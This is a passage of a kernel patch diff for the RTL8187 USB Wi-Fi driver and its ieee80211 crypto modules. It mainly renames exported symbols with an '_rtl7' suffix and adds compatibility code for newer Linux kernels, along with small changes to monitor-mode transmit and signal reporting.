sizeof(u32)*8*count, @@ -1051,7 +1074,7 @@ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); @@ -1062,7 +1085,7 @@ #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1114,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1128,17 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1126,7 +1152,7 @@ //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, @@ -1135,7 +1161,7 @@ priv->stats.txdatapkt++; if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -1148,7 +1174,7 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; @@ -1228,7 +1254,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1259,7 +1285,7 @@ void rtl8187_net_update(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct ieee80211_network *net; net = & priv->ieee80211->current_network; @@ -1283,13 +1309,13 @@ void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; rtl8187_net_update(dev); - skb = ieee80211_get_beacon(priv->ieee80211); + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); if(!skb){ @@ -1327,7 +1353,7 @@ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1353,7 +1379,7 @@ int status; struct urb *tx_urb; int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1445,7 +1471,7 @@ short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); @@ -1483,7 +1509,7 @@ void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; if(priv->rx_urb){ @@ -1506,9 +1532,9 @@ u16 word; int basic_rate,min_rr_rate,max_rr_rate; -// struct r8180_priv *priv = ieee80211_priv(dev); +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); @@ -1532,7 +1558,7 @@ word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1554,13 +1580,13 @@ short rtl8180_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1606,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1588,6 +1621,8 @@ //memcpy(priv->stats,0,sizeof(struct Stats)); //priv->irq_enabled=0; + + priv->dev = dev; // priv->stats.rxdmafail=0; priv->stats.txrdu=0; @@ -1622,7 +1657,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1755,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1852,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -1988,7 +2039,7 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; @@ -2077,7 +2128,7 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR @@ -2135,7 +2186,7 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->ieee80211->stats; } @@ -2143,36 +2194,32 @@ int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - //DMESG("Bringing up iface"); +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; @@ -2182,7 +2229,7 @@ int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; @@ -2192,7 +2239,7 @@ int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); @@ -2207,7 +2254,7 @@ int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; @@ -2220,7 +2267,7 @@ rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); return 0; } @@ -2228,23 +2275,28 @@ void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); up(&priv->wx_sem); @@ -2252,7 +2304,7 @@ static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); @@ -2273,7 +2325,7 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; down(&priv->wx_sem); @@ -2291,8 +2343,9 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); struct iwreq *wrq = (struct iwreq *)rq; @@ -2300,7 +2353,7 @@ int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2346,7 +2399,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,7 +2422,9 @@ // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + stats.signal -= stats.noise; + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2398,14 +2454,14 @@ //printk("===> rtl8187_usb_probe()\n"); - dev = alloc_ieee80211(sizeof(struct r8180_priv)); + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); SET_MODULE_OWNER(dev); usb_set_intfdata(intf, dev); SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); priv->udev=udev; @@ -2418,7 +2474,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ @@ -2447,7 +2508,7 @@ fail: - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver load failed\n"); @@ -2464,7 +2525,7 @@ unregister_netdev(dev); - priv=ieee80211_priv(dev); + priv=ieee80211_priv_rtl7(dev); rtl8180_proc_remove_one(dev); @@ -2478,12 +2539,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2556,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2569,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); spin_unlock_irqrestore(&priv->tx_lock,flags); if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2584,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-03-05 00:31:41.535179906 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-03-05 00:31:52.275341919 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +41,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +64,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +81,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +106,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +131,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +162,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +189,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +208,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +220,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +230,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +250,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-03-05 00:31:52.295342221 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +67,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +83,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +113,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +122,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +130,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +194,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +245,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +253,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +270,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +334,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +345,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +373,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +404,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +428,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +445,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-03-05 00:31:49.235296061 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ 